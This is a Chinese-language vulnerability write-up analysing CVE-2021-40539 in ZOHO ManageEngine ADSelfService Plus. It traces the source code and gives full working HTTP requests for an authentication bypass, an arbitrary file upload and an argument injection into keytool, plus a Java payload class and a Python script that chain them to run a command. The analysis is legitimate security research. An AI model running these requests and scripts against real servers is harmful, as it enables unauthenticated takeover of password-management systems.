声明
出品|先知社区(ID:1s1and)
以下内容,来自先知社区的1s1and作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
概述
ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。
CVE-2021-40539是一个身份认证绕过漏洞,可能导致任意远程代码执行 (RCE)。根据官方信息,在2021年11月7日的6114版本中得到修复。
据CISA,CVE-2021-40539 已在野漏洞利用中被检测到,黑客可以利用此漏洞来控制受影响的系统。
作为JAVA安全研究菜鸟,本篇文章的思路是按照已知这个漏洞存在,并且知道poc的前提下,进行漏洞的复现以及原理的分析。在复现过程中发现与其它大佬分析的一些不同处,简单记录,一方面供新手参考;另一方面继续积累java漏洞模式理解,为后续开展漏洞挖掘做准备工作。
环境搭建
软件环境
官网只提供最新版下载,在下载网站可以下载到5.8版本,安装过程中有个坑,图形化界面安装到最后阶段后会卡在一个界面过不去,参考其他大佬的一些做法,我重启了自己的机器,然后运行安装目录下的C:\ManageEngine\ADSelfService Plus\bin\run.bat,即可开始文字界面的安装选择,然后就可以根据默认的8888端口(http),或者9251端口(https)打开web界面
调试环境配置
将C:\ManageEngine\ADSelfService Plus复制到我的Mac环境下,使用idea打开
在目标bin/run.bat中添加一行(这行命令直接去idea里面复制即可)
set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
然后停止服务,再双击run.bat重新以调试模式启动
在idea中设置相关调试设置
我们的调试环境就配置完成了,要怎么检验是否成功配置好了呢,可以查看
C:\ManageEngine\ADSelfService Plus\webapps\adssp\WEB-INF\web.xml文件,可以看到以下内容
<filter>
<filter-name>AssociateCredential</filter-name>
<filter-class>com.adventnet.authentication.filter.AssociateCredential</filter-class>
</filter>
<filter-mapping>
<filter-name>AssociateCredential</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
可知,任意url模式下,都会触发AssociateCredential这个filter,因此,尝试在这个filter的doFilter函数下断点,随便访问一个页面,如果能断下来,则证明调试环境配置成功
尝试随便请求一个页面
http://127.0.0.1:8888/authorization.do
发现果然断了下来,证明调试环境搭建成功
漏洞分析
认证绕过漏洞
认证绕过漏洞的一个例子是
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo
默认请求
但加上/./则可绕过认证
尝试分析一下这个流程,java应用中的web.xml是用来初始化配置信息,Welcome页面、servlet、servlet-mapping、filter、listener、启动加载级别等都可以在web.xml中定义
根据/./RestAPI/LogonCustomization这个url可以看到以下内容
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml, /WEB-INF/accounts-struts-config.xml, /adsf/struts-config.xml, /WEB-INF/api-struts-config.xml, /WEB-INF/mobile/struts-config.xml</param-value>
</init-param>
<init-param>
<param-name>validate</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>chainConfig</param-name>
<param-value>org/apache/struts/tiles/chain-config.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
证明请求/./RestAPI/LogonCustomization时候首先会调用到org.apache.struts.action.ActionServlet内容
因此直接尝试在其中doPost函数中下个断点
在下断点后,尝试发送正常的不带/./的请求
POST /RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo
发现并不会触发断点
但是尝试请求
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
methodToCall=previewMobLogo
发现可以触发断点以上测试可以证明的是,认证校验代码并不存在
org.apache.struts.action.ActionServlet以及之后的数据处理中,而应该在到
org.apache.struts.action.ActionServlet之前的处理中,显然,应该是在filter中,尝试去看看这个url都会触发什么filter
根据web.xml,/RestAPI/LogonCustomization会按顺序触发以下filter
AssociateCredential
EncodingFilter
METrackFilter
ADSFilter
当然如果尝试在ActionServlet中下断点,看一下触发流程也可以知道有哪些filter
尝试在这几个filter的doFilter函数中都下断点
另外保留org.apache.struts.action.ActionServlet中的断点,在我们尝试发送认证绕过的数据包时候,这些filter以及ActionServlet均会触发
但是在尝试发送不带/./的普通数据包的时候,发现四个filter也都会被触发,但是却触发不了ActionServlet
两种情况相对比即可证明,针对restAPI的校验的逻辑应该是存在于最后的filter——ADSFilter中,因此,将认证绕过漏洞我们的分析重点放在ADSFilter对象中
要通过这个filter的检查,意味着不能return,要运行到最后filterChain.doFilter(request, response)这一行才可以
通过动态跟踪,发现使用不带绕过的url/RestAPI-/LogonCustomization时候,会在以下这一行return
restApiUrlPattern = this.filterParams.has("API_URL_PATTERN") ? this.filterParams.getString("API_URL_PATTERN") : "/RestAPI/.*";
if (Pattern.matches(restApiUrlPattern, reqURI) && !RestAPIFilter.doAction(servletRequest, servletResponse, this.filterParams, this.filterConfig)) {
return;
}
证明这里的检查没有通过,另一方面也证明我们使用/./RestAPI/LogonCustomization绕过的正是此处认证,尝试分析一下检查逻辑
在这段代码前边是以下逻辑,检查requrl是否匹配.*.do|.*.cc|/webclient/index.html模式,如果匹配则进行相应的认证凭证校验
我们请求的/RestAPI/*不符合以上模式,因此会继续向下运行
其中Pattern.matches(restApiUrlPattern, reqURI)中reqURI是我们请求的url,分析前边代码可知restApiUrlPattern的值为/RestAPI/.*,因此当我们请求的url为/./RestAPI/LogonCustomization很容易绕过这句判断,因为后边又紧跟着&&,因此只要这个判断不通过就不会return,绕过认证
任意文件上传漏洞
poc如下:
POST /./RestAPI/LogonCustomization HTTP/1.1Host: 192.168.1.106:9251User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: Content-Type: application/x-www-form-urlencodedAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537Te: trailersConnection: closeContent-Length: 1212-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="methodToCall"unspecified-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="Save"yes-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="form"smartcard-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="operation"Add-----------------------------39411536912265220004317003537Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"Content-Type: application/octet-streamarbitrary content-----------------------------39411536912265220004317003537--
尝试发包
结果会在bin目录下创建test.txt这个文件,内容为arbitrary content
尝试分析逻辑
还是先看web.xml,
.....
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
.....
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>/RestAPI/*</url-pattern>
</servlet-mapping>
.....
显然这里使用了structs,想要找到具体的逻辑,我们去参考web.xml同目录下的struts-config.xml文件,搜索LogonCustomization
<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
<forward name="LogonCustomization" path="LogonCustomizationPage"/>
</action>
因为poc中methodToCall的值是unspecified,初步确定相关逻辑在
LogonCustomization中的unspecified函数中
public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { AdventNetResourceBundle rb = ResourceBundleMgr.getInstance().getBundle(request); String message = ""; String messageType = ""; try { DynaActionForm dynForm = (DynaActionForm)form; Long loginId = (Long)request.getSession().getAttribute("ADMP_SESSION_LOGIN_ID"); ArrayList logonList = DomainUtil.getDomainShowStatus(); ArrayList loginAttrList = DomainUtil.getLoginAttrPropList(); request.setAttribute("forwardTo", "LogonSettings"); int j; Properties p; String domainName; String formDomainStatus; String loginAttrEnableStatus; String operation; String formValue; String ldapName; if (request.getParameter("Save") != null) { message = rb.getString("adssp.common.text.success_update"); messageType = "success"; if ("mob".equalsIgnoreCase(request.getParameter("form"))) { this.saveMobileSettings(logonList, request); request.setAttribute("form", "mob"); } else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) { operation = request.getParameter("operation"); SmartCardAction sCAction = new SmartCardAction(); if (operation.equalsIgnoreCase("Add")) { request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH")); request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH")); sCAction.addSmartCardConfig(mapping, dynForm, request, response); } else if (operation.equalsIgnoreCase("Update")) { sCAction.updateSmartCardConfig(mapping, form, request, response); } if (request.getAttribute("SMART_CARD_DETAILS") != null) { JSONObject status = (JSONObject)request.getAttribute("SMART_CARD_DETAILS"); if (status.has("eSTATUS")) { messageType = "error"; message = rb.getString((String)status.get("eSTATUS")); } else { messageType = "success"; message = rb.getString((String)status.get("sSTATUS")); } } } else { for(j = 0; j < formElements.length; ++j) { formValue = (String)dynForm.get(formElements[j]); if (formValue != null && j != 1) { ADSMPersUtil.updateSyMParameter(dbElements[j], formValue); } } int j; if (dynForm.get("SHOW_CAPTCHA_LOGIN_PAGE").toString().equals("true") || dynForm.get("SHOW_CAPTCHA_RUL_PAGE").toString().equals("true")) { if ((Boolean)dynForm.get("CUSTOM_CAPTCHA")) { j = Integer.parseInt(dynForm.get("MAX_INVALID_LOGIN").toString()); j = Integer.parseInt(dynForm.get("RESET_TIME").toString()); CaptchaUtil.updateLogonCaptchaSettings(true, j, j); } else { CaptchaUtil.updateLogonCaptchaSettings(false, 0, 0); } } if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) { for(j = 0; j < logonList.size(); ++j) { p = (Properties)logonList.get(j); domainName = (String)p.get("DOMAIN_NAME"); int formStatus = 0; formDomainStatus = request.getParameter(domainName + "_CHK"); if ("true".equalsIgnoreCase(formDomainStatus)) { formStatus = 1; } DomainUtil.addUpdateLogonDomains(domainName, new String[]{"DISPLAY_STATUS"}, new int[]{formStatus}); } } ArrayList finalList = new ArrayList(); for(j = 0; j < loginAttrList.size(); ++j) { Properties p = (Properties)loginAttrList.get(j); ldapName = (String)p.get("LDAP_NAME"); Boolean enableStatus = (Boolean)p.get("ENABLE_STATUS"); loginAttrEnableStatus = request.getParameter(ldapName + "_LCHK"); if ("true".equalsIgnoreCase(loginAttrEnableStatus)) { enableStatus = true; } else { enableStatus = false; } Properties savedProp = new Properties(); savedProp.put("LDAP_NAME", ldapName); savedProp.put("ENABLE_STATUS", enableStatus); finalList.add(savedProp); } DomainUtil.setLoginAttributeList(finalList); Hashtable props = new Hashtable(); domainName = request.getParameter("ACCESS_CONTROL"); props.put("ACCESS_CONTROL", domainName == null ? "" : domainName); UserUtil.setUserPersonal(loginId, props); if (dynForm.get("HIDE_MACCESS_BUTTON").toString().equals("false")) { CommonUtil.generateQrForSettingsConfiguration(); } if (dynForm.get("userDisclaimerEnable").toString().equals("true")) { ADSMPersUtil.updateUDEnableSettings("true"); } else { ADSMPersUtil.updateUDEnableSettings("false"); } } } else if (!"mob".equalsIgnoreCase(request.getParameter("form"))) { if ("sso".equalsIgnoreCase(request.getParameter("form"))) { message = rb.getString((String)request.getAttribute("ssoMessage")); messageType = (String)request.getAttribute("ssoMessageType"); request.setAttribute("form", "sso"); } } else { for(j = 0; j < logonList.size(); ++j) { p = (Properties)logonList.get(j); domainName = (String)p.get("DOMAIN_NAME"); DomainUtil.addUpdateLogonDomains(domainName, new String[]{"MOBILE_DISPLAY_STATUS"}, new int[]{1}); } operation = request.getParameter("resetMobSettings"); if (operation != null && operation.equals("true")) { MobileUtil.resetMobileSettings(); } request.setAttribute("form", "mob"); } for(j = 0; j < formElements.length; ++j) { dynForm.set(formElements[j], ADSMPersUtil.getSyMParameter(dbElements[j])); } request.setAttribute("MOBILE_SETTINGS", MobileUtil.getMobileAppSettings()); MobileUtil.removeTempImage(); Hashtable userDisclaimerDetails = ADSMPersUtil.getUserDisclaimerSettings(); formValue = (String)userDisclaimerDetails.get("USER_DISCLAIMER_ENABLE_STATUS"); domainName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_TITLE"); ldapName = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CONTENT"); formDomainStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_CHKBOX_CONTENT"); loginAttrEnableStatus = (String)userDisclaimerDetails.get("USER_DISCLAIMER_AGREE_CHKBOX"); dynForm.set("userDisclaimerEnable", formValue); dynForm.set("userDisclaimerAgreeEnable", loginAttrEnableStatus); dynForm.set("resetDisclaimerStatus", "false"); request.setAttribute("USER_DISCLAIMER_TITLE", domainName); request.setAttribute("USER_DISCLAIMER_CONTENT", ldapName); request.setAttribute("USER_DISCLAIMER_CHKBOX_CONTENT", formDomainStatus); if (request.getParameter("form") != null) { request.setAttribute("form", request.getParameter("form")); } JSONObject capParams = CaptchaUtil.getLogonCaptchaSettings(); if (capParams.getBoolean("IS_ENABLED")) { dynForm.set("MAX_INVALID_LOGIN", capParams.getInt("MAX_INVALID_LOGIN")); dynForm.set("RESET_TIME", capParams.getInt("TIME_TO_RESET")); dynForm.set("CUSTOM_CAPTCHA", true); } else { dynForm.set("CUSTOM_CAPTCHA", false); } Hashtable hash = UserUtil.getUserPersonal(loginId, new String[]{"ACCESS_CONTROL"}); String val = (String)hash.get("ACCESS_CONTROL"); if (val == null || val.equals("-")) { val = ""; } dynForm.set("ACCESS_CONTROL", val); if ("true".equalsIgnoreCase((String)dynForm.get("showDomainBox"))) { logonList = DomainUtil.getDomainShowStatus(); } request.setAttribute("logonList", logonList); String sso = ADSMPersUtil.getSyMParameter("SSOAuthType"); if (sso != null) { request.setAttribute("SSOAuthType", ADSMPersUtil.getSyMParameter("SSOAuthType")); } request.setAttribute("SingleSingOn", ADSMPersUtil.getSyMParameter("SingleSignOn")); loginAttrList = DomainUtil.getLoginAttrPropList(); request.setAttribute("loginAttrList", loginAttrList); ArrayList domList = new ArrayList(); for(int j = 0; j < logonList.size(); ++j) { String domainName = (String)((Properties)logonList.get(j)).get("DOMAIN_NAME"); domList.add(domainName); } request.setAttribute("domainSSOProps", NTLMHandler.getSSOProps(domList)); SmartCardAction sCAction = new SmartCardAction(); sCAction.getSmartCardConfig(mapping, form, request, response); } catch (Exception var25) { var25.printStackTrace(); message = var25.getMessage(); } request.setAttribute("SAMLIDPAuthDetails", SAMLIDPAuthHandler.getSAMLIdpList()); request.setAttribute("SAMLIDPConfigDetails", SAMLIDPAuthHandler.getSAMLConfigurations("LOGIN_AUTH")); request.setAttribute("SAML_LOGIN_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGIN_URL")); request.setAttribute("SAML_LOGOUT_PATH", SAMLIDPAuthHandler.getAuthParamValue("AUTH_LOGOUT_URL")); request.setAttribute("URL_CONFIG_ID_GEN", ProductUniqueSeqGenerator.generateUniqueIdentifier()); request.setAttribute("message", message); request.setAttribute("messageType", messageType); return mapping.findForward("LogonCustomization"); }
当满足SVAE参数是yes,form参数是smartcard,operation参数值为Add时,会运行至这一行
sCAction.addSmartCardConfig(mapping, dynForm, request, response);
当请求数据中不包含CERTIFICATE_FILE参数,会运行至这一行
JSONObject certFileJson = FileUtil.getFileFromRequest(request, form, "CERTIFICATE_PATH");
进入getFileFromRequest方法
发现会从CERTIFICATE_PATH这个form中取出filename以及内容,创建新文件,造成任意文件上传
并且注意,此处fileName = formFile.getFileName()取到的直接是最终的文件内容,如果我们输入…\test.txt或者license\test.txt是无效的,取出内容依然是test.txt
RCE漏洞
RCE漏洞是匹配文件上传漏洞一起使用的,用于执行之前上传的文件
poc如下:
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"
参考struts-config.xml文件可以快速找到代码逻辑实现
<action path="/Connection" type="com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction" parameter="methodToCall" name="personaliseForm" scope="request">
<forward name="ConnectionSettings" path="ConnectionSettings"/>
<forward name="SSLTool" path="SSLTool"/>
</action>
前往ConnectionAction中openSSLTool查看代码实现
public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
String action = request.getParameter("action");
if (action != null && action.equals("generateCSR")) {
SSLUtil.createCSR(request);
}
return actionMap.findForward("SSLTool");
}
根据代码,在判断请求数据中action参数generateCSR后即调用SSLUtil.createCSR
public static void createCSR(HttpServletRequest request) throws Exception {
JSONObject sslParams = new JSONObject();
sslParams.put("COMMON_NAME", request.getParameter("NAME"));
sslParams.put("SAN_NAME", request.getParameter("SAN_NAME"));
sslParams.put("OU", request.getParameter("OU"));
sslParams.put("ORGANIZATION", request.getParameter("ORGANIZATION"));
sslParams.put("LOCALITY", request.getParameter("LOCALITY"));
sslParams.put("STATE", request.getParameter("STATE"));
sslParams.put("COUNTRY_CODE", request.getParameter("COUNTRY_CODE"));
sslParams.put("PASSWORD", request.getParameter("PASSWORD"));
sslParams.put("VALIDITY", request.getParameter("VALIDITY"));
sslParams.put("KEY_LENGTH", request.getParameter("KEY_LENGTH"));
JSONObject csrStatus = createCSR(sslParams);
if (csrStatus.has("eStatus")) {
request.setAttribute("status", customizeError(csrStatus.getString("eStatus")));
} else {
request.setAttribute("status", "success");
}
}
从request中获取参数值后调用createCSR
public static JSONObject createCSR(JSONObject sslSettings) throws Exception { ........ StringBuilder keyCmd = new StringBuilder("..\\jre\\bin\\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "); keyCmd.append(password); keyCmd.append(" -storePass ").append(password); String keyLength = sslSettings.getString("KEY_LENGTH"); if (keyLength != null && !keyLength.equals("")) { keyCmd.append(" -keysize ").append(keyLength); } String validity = sslSettings.getString("VALIDITY"); if (validity != null && !validity.equals("")) { keyCmd.append(" -validity ").append(validity); } String san_name = sslSettings.getString("SAN_NAME"); keyCmd.append(" -dName \"CN=").append(ClientUtil.keyToolEscape(sslSettings.getString("COMMON_NAME"))); keyCmd.append(", OU= ").append(ClientUtil.keyToolEscape(sslSettings.getString("OU"))); keyCmd.append(", O=").append(ClientUtil.keyToolEscape(sslSettings.getString("ORGANIZATION"))); keyCmd.append(", L=").append(ClientUtil.keyToolEscape(sslSettings.getString("LOCALITY"))); keyCmd.append(", S=").append(ClientUtil.keyToolEscape(sslSettings.getString("STATE"))); keyCmd.append(", C=").append(ClientUtil.keyToolEscape(sslSettings.getString("COUNTRY_CODE"))); keyCmd.append("\" -keystore ..\\jre\\bin\\SelfService.keystore"); ......... String status = runCommand(keyCmd.toString()); }}
createCSR方法中,会拼接各字段值然后调用runCommand执行,其中对于大部分参数都是用了keyToolEscape针对特殊字符进行了转义,只有KEY_LENGTH以及VALIDITY两个字段没有被转义,因此可以利用这两个字段
静态大概分析清楚了,尝试动态调试,将断点下载createCSR对象runCommand这一行
但是尝试使用burp发送poc数据包,却并没有断下来尝试单步,发现在函数第一行
sslSettings.getString(“COMMON_NAME”)
中报错进入异常处理
猜测应该是没有这个参数导致触发异常,看看下面还要区PASSWORD等其他参数的值,因此尝试修改poc,在其中加入这些字段参数
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 249
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"&NAME=test&VALIDITY=abc&PASSWORD=pasword&SAN_NAME=san&OU=ou&ORGANIZATION=og&LOCALITY=loc&STATE=state&COUNTRY_CODE=123
发现此时才可以成功触发断点
keycommand的值为
..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "pasword" -storePass "pasword" -keysize 1024 -providerclass Si -providerpath "C:\ManageEngine\ADSelfService Plus\bin" -validity abc -dName "CN=test, OU= ou, O=og, L=loc, S=state, C=123" -keystore ..\jre\bin\SelfService.keystore -ext SAN=dns:san
其中-providerpath后边的"C:\ManageEngine\AD-SelfService Plus\bin"
内容是我们注入的内容,下一步尝试看一下这条命令执行的含义
可知使用-providerpath以及-providerclass参数提供方类路径和类名,将要执行的代码放在静态区即可成功运行
漏洞利用
漏洞利用思路即利用三个漏洞,先上传编译好的带有命令执行的class文件,然后使用RCE漏洞触发上传的类中的静态方法
创建Si.java文件
import java.io.*;
public class Si{
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("calc");
}catch (IOException e){}
}
}
编译该文件生成Si.class、javac Si.java
然后使用任意文件上传漏洞上传Si.class,然后再使用RCE漏洞触发Si这个类中的静态代码——执行calc.exe。因为生成的Si.class包含不可见字符,因此,简单写一个脚本来完成最后这两步实现印证
import requestsfrom time import sleepdef upload(ip): url = 'http://{ip}:8888/%2e/RestAPI/LogonCustomization'.format(ip=ip) print(url) data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"} files = {'CERTIFICATE_PATH': ('Si.class', open('Si.class', 'rb'))} requests.post(url=url,data=data,files=files) return Truedef runcmd(ip): url = 'http://{ip}:8888/%2e/RestAPI/Connection'.format(ip=ip) data = {"methodToCall":'openSSLTool',"action":'generateCSR',"KEY_LENGTH":'1024 -providerclass Si -providerpath "C:\ManageEngine\ADSelfService+Plus\bin"',"NAME":'test',"VALIDITY":1,"PASSWORD":'pasword','SAN_NAME':'san',"OU":'ou','ORGANIZATION':'og','LOCALITY':'loc','STATE':'state','COUNTRY_CODE':'123'} requests.post(url=url,data=data)def main(): ip = '172.16.113.169' upload(ip) sleep(3) runcmd(ip)if __name__ == "__main__": main()
运行可成功执行计算器
另外在这里记录一个很操蛋的问题,我这个脚本开始一直使用proxy通过burp发送不成功,但是不使用burp的proxy直接发送能成功,最后判断是因为burp会自动省略掉url里面的/./,很奇怪,不知道是bug还是burp自己刻意做的优化,如果是优化的话实在感觉很画蛇添足
参考
ManageEngine ADSelfService Plus(CVE-2021-40539)漏洞分析
HOW TO EXPLOIT CVE-2021-40539 ON MANAGEENGINE ADSELFSERV-ICEPLUS
CVE-2021-40539